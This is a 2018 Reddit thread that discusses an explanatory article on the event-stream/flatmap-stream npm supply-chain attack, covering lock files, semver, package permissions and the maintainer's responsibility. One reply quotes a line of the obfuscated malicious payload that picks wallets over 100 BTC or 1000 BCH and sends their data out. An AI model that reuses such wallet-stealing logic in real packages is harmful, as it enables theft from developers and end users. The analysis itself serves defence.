r/javascript • u/schneidmaster • Nov 27 '18
event-stream vulnerability explained
https://schneid.io/blog/event-stream-vulnerability-explained/2
u/muggsley Nov 28 '18
Good article.
"It’s worth noting here that while JavaScript applications are relatively susceptible to this class of dependency, that’s not necessarily a reason why JavaScript is less secure overall."
should say "this class of vulnerability"
1
57
u/Larkenx Nov 27 '18 edited Nov 27 '18
How fascinating. It’s just like this popular article was alluding to but for real https://hackernoon.com/im-harvesting-credit-card-numbers-and-passwords-from-your-site-here-s-how-9a8cb347c5b5. I think it’s so clever that the attack was also extremely targeted and narrow in scope
edit: the hackernoon article is actually linked in the above article :)
108
u/blood_bender Nov 27 '18
The one thing this article doesn't mention, which isn't as clever as the rest but really shows how well he planned this attack, is that after introducing flatmap-stream, he bumped event-stream to v3.3.6. All well and good. But a week later when he removed flatmap-stream, he bumped event-stream to v4.0.0.
So any investigation of event-stream wouldn't find flatmap-stream as a dependency at all, yet by bumping to 4.0.0, he ensured that any one of the millions of downloads would continue downloading the infected version, unless their package.json showed * or something similar. Since npm install by default would add ^3.3.whatever, it's super unlikely anyone would actually upgrade to 4.0 anytime soon, yet an audit of the package would look clean.
This attack was super clever for a variety of reasons, including this one.
As the article says, use a package-lock.json or yarn.lock, and set your package.json to strict semver.
5
u/musicisair Nov 28 '18
These lock files don't do what you think they do.
package-lock.json and yarn.lock are for the developers of the module only. When consumed as a published module, installed via npm/yarn, these lock files are ignored.
Npm does respect a published npm-shrinkwrap.json. Yarn does not have a locking mechanism for transitive dependencies if published modules (they call this a feature).
2
u/blood_bender Nov 28 '18
Well, strict semver would solve that too, which I think anyone who publishes modules should be using anyway.
But I did assume the lockfiles would be used recursively for dependencies, I'm surprised they're not. Good to know.
3
u/musicisair Nov 28 '18
Yeah, if everyone would use strict semver then this lock file issue would go away, but then we get other issues... like increasing the size of node_modules even more due to having multiple versions of the same modules in a package this risking opening a black hole here on Earth because of it 😆
20
u/liquidpele Nov 28 '18
As the article says, use a package-lock.json or yarn.lock, and set your package.json to strict semver.
This is like buying food from a bunch of random people, and then storing it all in your fridge and assuming that it's all healthy and fine because it's in your fridge and you don't go buy it every day.
18
u/ajacksified Nov 28 '18
This isn't the only thing you should do, it is a thing you should do. To use your analogy, it's the difference between putting it in the fridge and leaving it on the sidewalk.
2
u/TheScapeQuest Nov 28 '18
If you add an
npm auditstep to your CI, it's more like the fridge checks how good your food is every time you go to eat something.
18
u/DaveSims Nov 27 '18
Thanks for this, I tried to wade through the Github issue yesterday but gave up because I didn't have enough time.
14
28
u/guitard00d123 Nov 27 '18
every time i think i'm a half-decent programmer, i read about the crazy stuff other people come up with and feel inadequate...
14
u/tinydonuts Nov 28 '18
Don't read about row hammer, branch prediction, or other similar hardware attacks. It will forever shatter your self image.
26
u/matthewsilas Nov 27 '18
This is just the best, thank you! It's timely, objectively written, and sums up the situation perfectly. A good reminder that a quick code audit of the GH repo isn't enough, you gotta audit the tarball.
3
u/madcaesar Nov 28 '18
How?
3
u/matthewsilas Nov 28 '18
npm pack PACKAGENAME. Then just extract. this is probably the safest way because if the author was really naughty they could include a postinstall script that steals your credentials/.env/btcwallet.3
12
u/fireatx Nov 27 '18
Thanks so much for this. Really clever attack. Thanks to everyone who analyzed it!
1
u/Bobbr23 Nov 28 '18 edited Nov 28 '18
What’s also interesting is that it seems to only steel from wallets with less than 100 bitcoin. Did they want to avoid stealing from those with more than 100? Wonder if the attacker thought it too dangerous to steal from people who have more than 100 bitcoin?
Edit: or less than 1,000 bch. That function is pretty obfuscated though.
2
u/schneidmaster Nov 28 '18
It's super tricky with the obfuscation, but you're reading that backwards -- it only steals from people with more than 100 bitcoin or 1000 bitcoin cash (presumably just to make it worthwhile -- you don't want to get caught stealing a fraction of a bitcoin and lose your attack vector). The relevant line is:
"btc" == t.coin && t.balance < 100 || "bch" == t.coin && t.balance < 1e3 || (global.CSSMap[t.xPubKey] = !0, r("c", JSON.stringify(t)))In JS, the || operator short-circuits and returns when it hits the first matching condition -- so if it's <100 btc or <1000 bch, then it never gets to the
r()that makes the network call.1
u/Bobbr23 Nov 28 '18
Thanks for taking the time to hash that out for me. Good point on not losing one’s attack vector. And thanks for writing this all up, I feel sorry for anyone who got their wallets drained, but agree that it’s interesting and important to understand how.
6
3
3
u/wdpttt Nov 28 '18
Both solutions provided won't prevent the attack. In a normal front-end app you will have webpack and react, these include a ton of sub deps. Now you add router, css and babel and is even more crazy.
Ok, fine. We need to check all the deps that go into your code.
1
5
u/Fingebimus Nov 27 '18
A real solution would be to lock down what network connections can be opened, what files can be read in a CSP manner, but then it needs to be made sure those files themselves can’t also be changed
13
u/notNullOrVoid Nov 28 '18 edited Nov 28 '18
This should be done on a per package basis. Basically have a permissions file for each package (or listed in "package.json"), and maintain a permissions lock file similar to the dependency lock file. The files contain a whitelist of available permissions, and restrict require / import of non disclosed core packages such as http or fs on a per package basis. If the lock file sees a mismatch of permissions in the dependency during an upgrade, then the user should be prompted to agree to allow the change.
If someone made a simple utility package called "flatmap", that package would need no permissions, because it doesn't need network or file access. If the maintainer tried to add something malicious, all users would be flagged during the update, and could clearly see it introduce http, and fs permissions. That would give a good and immediate indication that something wrong is going on.
2
Nov 28 '18
And how would you enforce those permissions in a language as dynamic as JS?
2
u/notNullOrVoid Nov 28 '18
By patching nodes module resolver. Every time something is imported or required the resolver needs to find the actual code to run. So patch the resolver to first look at permissions before allowing an import of a core library.
1
3
u/ShortSynapse Nov 28 '18
These concepts already exist as program groups, jails, etc. Ideally user programs would also be sandboxed fully by default, but as the article describes, they most certainly aren't and we have problems like this because of it.
-1
u/FPSJosh01 Nov 28 '18
This whole attack is exactly why deno was created. It has command line options that prevent this exact scenario from happening.
5
u/notNullOrVoid Nov 28 '18
The only relevant command line options I see "allow-write" and "allow-net" would not actually prevent much. Those command line options apply to everything being run equally.
So if I was writing a server (needs "allow-net"), it would have been vulnerable to the same attack, because all dependencies would have net access as well. It allows read access to everything also, which I see no command line argument to disable.
Not trying to belittle deno, because I think there are a lot of good things about it, but preventing this kind of attack is not one of them.
2
u/FPSJosh01 Nov 28 '18
Right. I also think it's great that the platform allows you to point at exactly what files get run, so you can inspect the js before hand.
No code is safe, obviously, but it gives me a bit of hope.
2
3
u/bjpbakker Nov 27 '18
This sort of attack happened before (on a smaller scale) earlier this year. Until the npm maintainers actually start caring just a bit about security, these attacks will keep coming.
0
Nov 28 '18
[deleted]
1
u/Kussie Nov 28 '18
Mark their package as abandoned in NPM is they have no interest in maintaining it anymore rather then handing it to the first person who asks and whom has no github history either.
1
u/bjpbakker Nov 28 '18
There are a whole lot of ways to improve on package hi jacking and malware in the npm package archives, to just name some recent issues.
Thus far the npm devs haven’t shown much interest in properly security related issues. Maybe it’s time to fix this in a better package and not wait for npm devs to fix it. (Just a wild thought)
1
u/filleduchaos Nov 28 '18
Namespacing
Package signing
Would all have made this way more difficult to pull off.
3
u/bjpbakker Nov 28 '18
Agreed. Except in this case the original author granted all the permissions to the bad actor, so I would assume that any signing keys would have been handed over too.
1
u/filleduchaos Nov 28 '18
Yeah, but that's a much bigger thing to ask of someone than "meh, let me just push a button to let them maintain the repo". (GPG) signing keys are tied to your identity not just one package. You wouldn't just be giving them commit/push access to one repo - you'd be giving them carte blanche to straight up impersonate you anywhere you use your key which would probably have given the maintainer more pause.
Beyond that though, with namespacing it would largely be a moot point because handing over control would change the package name. Then anyone who wants to depend on the new version can explicitly change their package list to point at @newperson/module.
3
u/Serei Nov 27 '18 edited Nov 27 '18
This is a good explanation of what happened, but I object to the title "event-stream vulnerability explained".
The vulnerability is very straightforward. dominictarr gave control of the repo to right9ctrl. That was the only vulnerability, which is why it's the only thing everyone is discussing.
If you give someone the keys to your house and he steals your money, how he manages to steal your money might be an interesting question, but "vulnerability" isn't the right word for it. The lock had no vulnerability. It did its job: it only let people with the key into your house.
Most of the comments on GitHub are asking the question of why there's no way to develop JavaScript without giving five hundred people the keys to your house. And I can't blame them; it's entirely valid to consider that a more important question than how someone managed to steal money undetected for a few months, after being given a house key.
-9
u/utf8decodeerror Nov 28 '18
Yeah, imo, this is really 100% dominiccarr's fault. NPM can take every precaution they want and it will never stop some package creator willingly transferring control of their package to a malicious actor without vetting them.
I'm shocked that people in the original issue thread were defending his decision to hand over such a popular repo to some random GitHub account with little activity and no previous commits to the repo. And people were defending his decision because of the "as-is" clause in the MIT license.
Is he legally responsible? Clearly not. Is he morally responsible? Absolutely.
8
u/KyleG Nov 28 '18
Is he morally responsible? Absolutely.
Did you send him any money for
event-stream? No? Then fuck you, you ain't got shit right to complain or criticize when a volunteer doesn't devote even more of their time to giving you free shit.You know who's to blame? THE MALICIOUS ACTOR
3
u/troglo-dyke Nov 28 '18
You know who's to blame? THE MALICIOUS ACTOR
This is true. However open source is bound by trust, dominiccarr broke that trust. Repos get deprecated all the time, the choice is to deprecate, not hand the users over to a random person.
dominiccarr was the target of social engineering - it's likely he was not the only one as well. He and everyone else needs to be aware of and guard against this as a method of injecting code.
1
u/utf8decodeerror Nov 28 '18 edited Nov 28 '18
I'm not absolving the attacker.
How can you honestly think what he did was okay? You don't hand over your package to some random fucking account with no legit activity for no reason. The guy had never even committed to event-stream before. It shows a severe lack of judgement/laziness on Dominic's part. How could you ever trust a package from him again? Will you continue using his opensource work in the future?
No one is saying Dominic has to do work for free. In fact, it would have been less work for him to mark it as deprecated and let other people fork it if they wanted to maintain it. Even less work yet, he could stop answering any issues/emails related to event-stream and never publish an update again.
In the real world there will always be malicious actors. It doesn't absolve them but you can't change that. What you can do is put precautions in place. If you can't be assed to put in the minimum amount of effort to protect against them, you are complicit in what you willingly allowed them to do. If you gave your house key to a random stranger and told them you were going on an indefinite vacation whose fault is it that you got robbed? Now imagine you're a property manager and you did that not only with your house keys but those of all your tenants as well.
3
Nov 28 '18
Clearly not. Is he morally responsible? Absolutely.
fuck no. lets not damn someone for trusting someone else. The perpetrator is morally responsible for his fucking with people, not the person who was fooled into trusting him. dominiccarr is only guilty of poor judgement in this one instance, that doesn't make him "morally responsible"
0
u/utf8decodeerror Nov 28 '18
He is 100% responsible for his actions to willingly hand over the keys to a fake account with no activity. If he didn't want to maintain, he should deprecated and let someone else fork to maintain. Instead he was lazy and fucked over potentially thousands of people. As another commenter said, open source is built on trust, and Dominic made it pretty clear he is not worthy of being trusted.
1
u/MercDawg Nov 28 '18
Are there any ways of detecting vulnerabilities or exploits when looking into new npm packages?
2
u/yeager-eren Nov 28 '18
i'm not sure if there's an automated way of detecting these vulnerabilities especially if the data is encoded/encrypted. If your peoject is hosted in github, at least they have this dependency alert
1
u/jakotlinva Nov 28 '18
Can anything be done to find that hacker? Find the IP logged that created that account right9ctrl?
3
u/Ashanmaril Nov 28 '18
If he's smart enough to pull all of this off, I'm sure he knows how to use a VPN.
1
Nov 28 '18
Would the right move to alleviate this be to downgrade event stream to a non malicious patch?
Github pushed me to change it to the 3.3.4 version and just wanted to ask!
1
u/imitationpuppy Nov 28 '18
There must be some kind of information on npm page related to author changes, maybe author history etc.
Maybe even better, authorship changes, release version etc on selected npm packages.
1
1
Nov 28 '18
Next time you get robbed on the street because you stopped to help a stranger be sure to blame yourself, you're morally responsible for that, if that's what you believe.
-1
u/thisisafullsentence Nov 27 '18 edited Nov 28 '18
One more reason not to commit minified code to any repo!
Edit: I was wrong. Looks like the malicious code was minified and published to npm.
3
u/notarebel Nov 27 '18
The malicious payload was injected into the minified JS published to npm, it wasn't committed to the two repos in question (event-stream and flatmap-stream).
1
u/thisisafullsentence Nov 28 '18
Ah I misread that. Thanks for the clarity. I suppose minified files direct from an npm package isn’t out of the ordinary.
16
u/samjmckenzie Nov 27 '18
Why are minified libraries published onto npm? Is this standard practice?